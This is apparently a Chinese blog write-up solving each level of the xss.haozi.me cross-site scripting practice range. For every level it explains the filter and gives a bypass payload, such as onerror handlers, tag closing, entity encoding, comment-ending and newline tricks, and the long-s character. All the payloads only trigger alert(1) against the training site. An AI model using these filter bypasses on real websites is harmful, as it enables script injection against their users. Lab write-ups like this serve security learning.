xss.haozi.me靶机 通关

0x00

没有任何过滤可以直接注入<img src=x οnerrοr=alert(1)>

0x01

使用了testarea标签将我们的输入内容以普通的字符串进行展示

但是我们可以将标签进行闭合

</textarea><img src=x οnerrοr=alert(1)>

0x02

我们依然可以先闭合之后添加属性a" οnclick="alert(1)

当我们点击输入框后可以实现弹窗

0x03

我们可以看到它通过热品replace()函数将()替换成了空格

但是在html中我们可以使用``来代替()

<img src=x οnerrοr=alert`1`>

0x04

我们可以看到它将我们的()和``都替换成了空

但是我们可以提前编码

<img src=x οnerrοr=alert&#40;1&#41;>

为什么可以这样写呢?因为解码是有顺序的url>html>js

0x05

可以看到它将我们的的输入进行了注释

但是在html中注释有两种写法<!-- -->和<!-- --!>

所以我们的payload可以这样写:--!><img src=x οnerrοr=alert(1)>

0x06

我们可以看到它将auto和on开头的事件都进行了过滤并忽略了大小写

但是html是支持换行的所以我们可以写成

type=image src=x onerror

=alert(1)

那么不是说将on事件进行了过滤吗?为什么我们依然能使用

你需要看清楚它写的正则是以on或auto开头但是它必须以=号结尾

所以我们就可以利用换行进行绕过

0x07

我们可以看到它的正则写的是以<开始,匹配一个<后面可能跟着一个/或者没有跟/

匹配一个或多个非>字符的字符,匹配>字符

也就是说这个正则可以过滤html中的任意标签

我们可以利用html中的一个特性就是标签不必必须写全我们的html可以自动补齐标签

<img src=1 οnerrοr="alert(1)"

0x08

它将我们的输入放在了style标签中并且将style的闭合做了过滤

但是我们依然可以利用html的特性进行绕过

我们可以使用上面使用过的方法就是换行

也可以使用</style >在结束标签中加一个空格html依然可以执行

</style ><img src=x οnerrοr=alert(1)>

0x09

这串代码的意思是必须要有https?://www.segmentfault.com/

所以我们可以将payload写在后面

https://www.segmentfault.com/sss" οnerrοr="alert(1)

0x0A

我们可以看到他将一些符号进行了过滤所以导致我们没办法使用属性

但是我们可以自己制作一个js文件去让js解析

网站也给我们准备了一个可以访问的文件
https://www.segmentfault.com.haozi.me/j.js

所以我们可以写成这样

https://www.segmentfault.com.haozi.me/j.js

0x0B

它使用了toUpperCase()将所有内容都转成了大写

在HTML中标签是不区分大小写的但是path会区分大小写

所以我们需要将path部分进行编码

<img src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;(1)>

0x0C

这里只是对将script替换成了空字符,我们依然可以使用第十二关的方法来注入

如果一定要使用script标签的话可以使用双写进项绕过

<scrscriptipt src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></scriscriptpt>

0x0D

它这里将< / " ' 都进行了过滤

显然我们需要逃逸出被注释掉的alert()

这里我们可以使用换行逃逸出alert()然后使用-->注释掉后面的')

xxx

alert(1)

-->

0x0E

它在所有以<的开头都用了替换使我们的标签失效

这里我们需要使用到一个技巧html中s还有一种特殊的写法 ſ

"ſ" 是拉丁字母 "s" 的一种历史形式,称为长 s(long s)

<ſvg/οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

0x0F

我们发现它将我们的特殊字符替换成了html实体编码放入到了onerrror中

但是我们的onerror事件中html实体编码是可以正常转换调用的

我们可以先将前边的闭合,然后使用换行或者 ;

aaaa');alert(1)//

0x10

我们可以看到它将我们的输入直接放在了window.data

这相当于window直接调用函数所以我们直接输入

alert(1)

0x11

我们可以看到它将我们特殊符号和换行符等都进行了过滤

但是我们依然可以尝试先闭合")虽然它将换行符过滤了但是我们依然可以使用 ;

最后使用//注释符将后面的"注释

");alert(1)//

0x12

可以看到它使用将"替换成了\\" 当我们输入后它会将我们的"进行转义防止我们闭合

但是我们只需要在将转义符转义一次它的转义符就会失效当我们输入\"这样的内容后

实际就会变成 \\" 这样它的转义符就会失效我们就可以完成闭合

\");alert(1)//

相关推荐
惜.己5 分钟前
javaScript基础(8个案例+代码+效果图)
开发语言·前端·javascript·vscode·css3·html5
什么鬼昵称28 分钟前
Pikachu-csrf-CSRF(get)
前端·csrf
长天一色1 小时前
【ECMAScript 从入门到进阶教程】第三部分:高级主题(高级函数与范式,元编程,正则表达式,性能优化)
服务器·开发语言·前端·javascript·性能优化·ecmascript
NiNg_1_2341 小时前
npm、yarn、pnpm之间的区别
前端·npm·node.js
秋殇与星河1 小时前
CSS总结
前端·css
BigYe程普1 小时前
我开发了一个出海全栈SaaS工具,还写了一套全栈开发教程
开发语言·前端·chrome·chatgpt·reactjs·个人开发
余生H2 小时前
前端的全栈混合之路Meteor篇:关于前后端分离及与各框架的对比
前端·javascript·node.js·全栈
程序员-珍2 小时前
使用openapi生成前端请求文件报错 ‘Token “Integer“ does not exist.‘
java·前端·spring boot·后端·restful·个人开发
axihaihai2 小时前
网站开发的发展(后端路由/前后端分离/前端路由)
前端
流烟默2 小时前
Vue中watch监听属性的一些应用总结
前端·javascript·vue.js·watch